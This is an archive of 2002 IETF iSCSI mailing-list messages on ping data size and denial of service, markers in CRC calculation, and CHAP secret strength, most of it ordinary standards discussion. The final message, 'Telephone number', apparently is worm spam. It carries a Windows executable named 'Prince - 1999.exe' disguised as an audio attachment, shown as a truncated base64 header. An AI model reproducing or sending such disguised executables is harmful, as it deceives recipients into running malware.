from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7JAg2o06968 for ; Mon, 19 Aug 2002 06:42:02 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7JAfj5x022718; Mon, 19 Aug 2002 12:41:45 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7JAfhFh014196; Mon, 19 Aug 2002 12:41:44 +0200 To: Glen Turner Cc: Eddy Quicksall , "ips@ece. cmu. edu (E-mail)" MIME-Version: 1.0 Subject: Re: iSCSI: ping data size X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Mon, 19 Aug 2002 13:41:42 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 19/08/2002 13:41:44, Serialize complete at 19/08/2002 13:41:44 Content-Type: multipart/alternative; boundary="=_alternative 0039D786C2256C1A_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0039D786C2256C1A_= Content-Type: text/plain; charset="us-ascii" Glen, A DoS attack can use several other mechanisms too (not only NOPs). And it can be avoided by just having the target of the attack dropping the connection with an initiator that issues excessive amount of NOPs with data and limiting the allowed ping size. Julo Glen Turner 08/19/2002 09:19 AM To: Julian Satran/Haifa/IBM@IBMIL cc: Eddy Quicksall , "ips@ece. cmu. edu (E-mail)" Subject: Re: iSCSI: ping data size Julian Satran wrote: > > The originator may be trying to measure something. Allowing the > responder to twart the answer would be counterproductive. As pointed out before, this allows a denial of service attack on public iSCSI servers (such as CD-ROM stackers in libraries) -- Glen Turner Network Engineer (08) 8303 3936 Australian Academic and Research Network glen.turner@aarnet.edu.au http://www.aarnet.edu.au/ -- The revolution will not be televised, it will be digitised --=_alternative 0039D786C2256C1A_= Content-Type: text/html; charset="us-ascii"
Glen,

A DoS attack can use several other mechanisms too (not only NOPs). And it can be avoided by just
having the target of the attack dropping the connection with an initiator that issues excessive amount of NOPs with data and limiting the allowed ping size.

Julo


Glen Turner <glen.turner@aarnet.edu.au>

08/19/2002 09:19 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        Eddy Quicksall <eddy_quicksall@ivivity.com>, "ips@ece. cmu. edu (E-mail)" <ips@ece.cmu.edu>
        Subject:        Re: iSCSI: ping data size

       


Julian Satran wrote:
>
> The originator may be trying to measure something. Allowing the
> responder to twart the answer would be counterproductive.

As pointed out before, this allows a denial of service attack on
public iSCSI servers (such as CD-ROM stackers in libraries)

--
 Glen Turner                                 Network Engineer
 (08) 8303 3936      Australian Academic and Research Network
 glen.turner@aarnet.edu.au          http://www.aarnet.edu.au/
--
 The revolution will not be televised, it will be digitised

--=_alternative 0039D786C2256C1A_=-- From owner-ips@ece.cmu.edu Tue Aug 20 02:10:43 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04945 for ; Tue, 20 Aug 2002 02:10:42 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7K5VJ502222 for ips-outgoing; Tue, 20 Aug 2002 01:31:19 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7K5VHo02218 for ; Tue, 20 Aug 2002 01:31:17 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7K5VAA9031840 for ; Tue, 20 Aug 2002 07:31:10 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7K5V5uW128036 for ; Tue, 20 Aug 2002 07:31:10 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: iSCSI - Markers - a clarification X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Tue, 20 Aug 2002 08:31:03 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 20/08/2002 08:31:09, Serialize complete at 20/08/2002 08:31:09 Content-Type: multipart/alternative; boundary="=_alternative 001D4C55C2256C1B_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 001D4C55C2256C1B_= Content-Type: text/plain; charset="us-ascii" When answering to a private note I realized that we do not say explicitly in the draft if markers are included in the CRC calculation. As many of you must have guessed they are not. I have added one line to the marker appendix stating that markers are not included. Julo --=_alternative 001D4C55C2256C1B_= Content-Type: text/html; charset="us-ascii"
When answering to a private note I realized that we do not say explicitly in the draft if markers are included
in the CRC calculation.  As many of you must have guessed they are not.

I  have added one line to the marker appendix stating that markers are not included.

Julo --=_alternative 001D4C55C2256C1B_=-- From owner-ips@ece.cmu.edu Tue Aug 20 08:23:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA11608 for ; Tue, 20 Aug 2002 08:23:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7KBmhF25755 for ips-outgoing; Tue, 20 Aug 2002 07:48:43 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7KBmfo25750 for ; Tue, 20 Aug 2002 07:48:41 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7KBmYA9007004 for ; Tue, 20 Aug 2002 13:48:34 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7KBmAuW059552 for ; Tue, 20 Aug 2002 13:48:34 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: iSCSI-Eddy Quicksall's diagrams available X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Tue, 20 Aug 2002 14:46:02 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 20/08/2002 14:48:34, Serialize complete at 20/08/2002 14:48:34 Content-Type: multipart/alternative; boundary="=_alternative 00407418C2256C1B_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 00407418C2256C1B_= Content-Type: text/plain; charset="us-ascii" Dear all, Eddy Quicksall has gracefully agreed to place some iSCSI diagrams in pdf format on my site. The diagrams help explain some iSCSI notions. I do not know however what their copyright status is - so unless we get explicit permission from please use them only for your own education. Thanks Eddy, Julo --=_alternative 00407418C2256C1B_= Content-Type: text/html; charset="us-ascii"
Dear all,

Eddy Quicksall has gracefully agreed to place some iSCSI diagrams in pdf format
on my site. The diagrams help explain some iSCSI notions.

I do not know however what their copyright status is - so unless we get explicit permission from
please use them only for your own education.

Thanks Eddy,
Julo --=_alternative 00407418C2256C1B_=-- From owner-ips@ece.cmu.edu Tue Aug 20 13:43:28 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20222 for ; Tue, 20 Aug 2002 13:43:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7KH5p212500 for ips-outgoing; Tue, 20 Aug 2002 13:05:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7KH5mo12496 for ; Tue, 20 Aug 2002 13:05:48 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Aug 2002 13:05:42 -0400 Message-ID: <93F527C91A6ED411AFE10050040665D004AE2E38@corpusmx1.us.dg.com> From: Hutchinson_Adam@emc.com To: ips@ece.cmu.edu Subject: Generation of CHAP Secrets... Date: Tue, 20 Aug 2002 13:05:38 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2486B.CEB627E0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2486B.CEB627E0 Content-Type: text/plain; charset="iso-8859-1" Do the following statements mean that users should not be allowed to create their own secrets (passwords) to ensure the randomness of all secrets? When CHAP is performed over a non-encrypted channel, it is vulnerable to an off-line dictionary attack. Implementations MUST support use of up to 128 bits random CHAP secrets, including the means to generate such secrets and to accept them from an external generation source. Implementations MUST NOT provide secret generation (or expansion) means other than random generation. --- Adam ------_=_NextPart_001_01C2486B.CEB627E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Do the following statements = mean that users should not be allowed to create their own secrets (passwords) to = ensure the randomness of all secrets?

 

When CHAP is = performed over a non-encrypted channel, it is vulnerable=

to an = off-line dictionary attack. Implementations MUST support=

use of up to = 128 bits random CHAP secrets, including the means to=

generate = such secrets and to accept them from an external generation=

source. Implementations MUST NOT provide secret generation (or = expansion)

means other = than random generation.=

 

---=

Adam

 

 

------_=_NextPart_001_01C2486B.CEB627E0-- From owner-ips@ece.cmu.edu Tue Aug 20 14:50:44 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA22046 for ; Tue, 20 Aug 2002 14:50:43 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7KIMwx17635 for ips-outgoing; Tue, 20 Aug 2002 14:22:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mailhub.lss.emc.com (xdch.emc.com [168.159.1.79]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7KIMuo17631 for ; Tue, 20 Aug 2002 14:22:56 -0400 (EDT) Received: from emc.com (emcmail.lss.emc.com [168.159.48.78]) by mailhub.lss.emc.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g7KIMlf14727 for ; Tue, 20 Aug 2002 14:22:48 -0400 (EDT) Received: from mxic1.isus.emc.com ([168.159.129.100]) by emc.com (8.10.1/8.10.1) with ESMTP id g7KIMl727354 for ; Tue, 20 Aug 2002 14:22:47 -0400 (EDT) Received: by MXIC1 with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Aug 2002 14:22:47 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C1B7@CORPMX14> From: Black_David@emc.com To: Hutchinson_Adam@emc.com, ips@ece.cmu.edu Subject: RE: Generation of CHAP Secrets... Date: Tue, 20 Aug 2002 14:22:40 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > Do the following statements mean that users should not be allowed to > create their own secrets (passwords) to ensure the randomness of all secrets? > > When CHAP is performed over a non-encrypted channel, it is vulnerable > to an off-line dictionary attack. Implementations MUST support > use of up to 128 bits random CHAP secrets, including the means to > generate such secrets and to accept them from an external generation > source. Implementations MUST NOT provide secret generation (or expansion) > means other than random generation. Yes, that is correct. iSCSI requires 96 or more bits of randomness in CHAP secrets to thwart exhaustive search and dictionary attacks. A typical user- chosen password/secret has less than 20 bits of randomness. If weaker CHAP secrets are used, the iSCSI connection MUST be encrypted: An administrative entity of an environment in which CHAP is used with a secret that has less than 96 random bits MUST enforce IPsec encryp- tion (according to the implementation requirements in Section 7.3.2 Confidentiality) to protect the connection. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Aug 20 15:45:57 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA23752 for ; Tue, 20 Aug 2002 15:45:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7KJA2P20795 for ips-outgoing; Tue, 20 Aug 2002 15:10:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7KJ9xo20788 for ; Tue, 20 Aug 2002 15:10:00 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7KJ9r5x020080 for ; Tue, 20 Aug 2002 21:09:53 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7KJ9rRb029804 for ; Tue, 20 Aug 2002 21:09:53 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: Generation of CHAP Secrets... X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Tue, 20 Aug 2002 22:09:50 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 20/08/2002 22:09:52, Serialize complete at 20/08/2002 22:09:52 Content-Type: multipart/alternative; boundary="=_alternative 006940ECC2256C1B_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 006940ECC2256C1B_= Content-Type: text/plain; charset="us-ascii" That is correct. It also says that you should not knowingly provide means to extend a "short(weak)" secret into an apparently long secret. Julo Hutchinson_Adam@emc.com Sent by: owner-ips@ece.cmu.edu 08/20/2002 08:05 PM To: ips@ece.cmu.edu cc: Subject: Generation of CHAP Secrets... Do the following statements mean that users should not be allowed to create their own secrets (passwords) to ensure the randomness of all secrets? When CHAP is performed over a non-encrypted channel, it is vulnerable to an off-line dictionary attack. Implementations MUST support use of up to 128 bits random CHAP secrets, including the means to generate such secrets and to accept them from an external generation source. Implementations MUST NOT provide secret generation (or expansion) means other than random generation. --- Adam --=_alternative 006940ECC2256C1B_= Content-Type: text/html; charset="us-ascii"

That is correct.  It also says that you should not knowingly provide means to extend a "short(weak)" secret into an apparently long secret.

Julo


Hutchinson_Adam@emc.com
Sent by: owner-ips@ece.cmu.edu

08/20/2002 08:05 PM

       
        To:        ips@ece.cmu.edu
        cc:        
        Subject:        Generation of CHAP Secrets...

       


Do the following statements mean that users should not be allowed to create their own secrets (passwords) to ensure the randomness of all secrets?

 

When CHAP is performed over a non-encrypted channel, it is vulnerable

to an off-line dictionary attack. Implementations MUST support

use of up to 128 bits random CHAP secrets, including the means to

generate such secrets and to accept them from an external generation

source. Implementations MUST NOT provide secret generation (or expansion)

means other than random generation.

 

---

Adam

 

 



--=_alternative 006940ECC2256C1B_=-- From owner-ips@ece.cmu.edu Tue Aug 20 23:34:47 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA05147 for ; Tue, 20 Aug 2002 23:34:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7L2rWj12300 for ips-outgoing; Tue, 20 Aug 2002 22:53:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from imo-r10.mx.aol.com (imo-r10.mx.aol.com [152.163.225.106]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7L2rTo12287 for ; Tue, 20 Aug 2002 22:53:30 -0400 (EDT) Received: from VAHUJA@aol.com by imo-r10.mx.aol.com (mail_out_v33.5.) id f.a0.2bb3b393 (4328); Tue, 20 Aug 2002 22:53:11 -0400 (EDT) From: VAHUJA@aol.com Message-ID: Date: Tue, 20 Aug 2002 22:53:11 EDT Subject: Re: Generation of CHAP Secrets... To: Black_David@emc.com CC: ips@ece.cmu.edu MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 7.0 for Windows US sub 10509 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit the iSCSI draft talks of up to 128 bits of shared secret. While performing HASH, the MD5 will yield 128 bits, but SHA-1 (recommended Hashing algorithm, Sec 7.3.1) will generate 160 bits. Seems to me that the shared secret should be allowed to be up to 160 bits..unless we allow MD5 for CHAP and then possibly pad the hash? Or am I missing something here? From owner-ips@ece.cmu.edu Wed Aug 21 10:29:48 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11227 for ; Wed, 21 Aug 2002 10:29:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7LDoK318373 for ips-outgoing; Wed, 21 Aug 2002 09:50:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic2.corp.emc.com (mxic2.us.dg.com [128.221.31.40]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7LDoJo18369 for ; Wed, 21 Aug 2002 09:50:19 -0400 (EDT) Received: by mxic2.corp.emc.com with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Aug 2002 09:50:10 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C1C6@CORPMX14> From: Black_David@emc.com To: VAHUJA@aol.com Cc: ips@ece.cmu.edu Subject: RE: Generation of CHAP Secrets... Date: Wed, 21 Aug 2002 09:50:08 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > the iSCSI draft talks of up to 128 bits of shared secret. While performing > HASH, the MD5 will yield 128 bits, but SHA-1 (recommended Hashing algorithm, > Sec 7.3.1) will generate 160 bits. Seems to me that the shared secret should > be allowed to be up to 160 bits..unless we allow MD5 for CHAP and then > possibly pad the hash? Or am I missing something here? There's no inherent upper limit on the size of the shared secret and it's not related to the output size of the hash algorithms. 128 bits is more than enough to get the job done, hence there's no need to require that implementations support more than that. Generating more random bits and tossing some of them away is fine (e.g., IPsec ESP does exactly this to make its MD5 and SHA-1 HMACs fit in 96 bits), but they have to be *true* random bits - more below. While SHA-1 is the required hash for IPsec ESP, it does not work with CHAP for historical reasons (one has to use MD5) - see, the IANA registry, the PPP AUTHENTICATION ALGORITHMS section of: http://www.iana.org/assignments/ppp-numbers While I'm sure Vijay did not mean to imply this, I want to warn implementers away from a potentially disastrous implementation shortcut: **DO NOT** run a weak secret (e.g., password) through a hash or similar algorithm to generate something that appears to be a sufficiently-sized random CHAP secret. The result of doing this is no stronger than the original weak secret (e.g., password) - if this shortcut technique is used, the result falls under iSCSI's "MUST enforce IPsec encryption" language. This is a well-known implementation mistake (e.g., Netscape was publicly bitten by it several years ago). A specific example is that if one runs a password with 15 bits of randomness through MD5, the resulting 128 bit output still has 15 bits of randomness - an attacker need only run the dictionary words through MD5 [15 bit search space] to mount an exhaustive attack, and the fact that the quantities being checked are 128 bits in size does not improve security. If one wants 128 bits of randomness, one needs to start with 128 random bits - it really is that simple. Using a hash does not increase the amount of randomness. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Wed Aug 21 14:34:44 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA20764 for ; Wed, 21 Aug 2002 14:34:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7LHeQ802486 for ips-outgoing; Wed, 21 Aug 2002 13:40:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sm11.texas.rr.com (sm11.texas.rr.com [24.93.35.42]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7LHeKo02480 for ; Wed, 21 Aug 2002 13:40:20 -0400 (EDT) Received: from Aiwow (cs24243252-119.austin.rr.com [24.243.252.119]) by sm11.texas.rr.com (8.12.1/8.12.0.Beta16) with SMTP id g7LHc3Ul019294 for ; Wed, 21 Aug 2002 12:38:04 -0500 Date: Wed, 21 Aug 2002 12:38:03 -0500 Message-Id: <200208211738.g7LHc3Ul019294@sm11.texas.rr.com> From: ljlamers To: ips@ece.cmu.edu Subject: Telephone number MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Omf2153miYq3yK31SCaky2Nk2F2J4 Sender: owner-ips@ece.cmu.edu Precedence: bulk --Omf2153miYq3yK31SCaky2Nk2F2J4 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Omf2153miYq3yK31SCaky2Nk2F2J4 Content-Type: audio/x-wav; name=Prince - 1999.exe Content-ID: Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 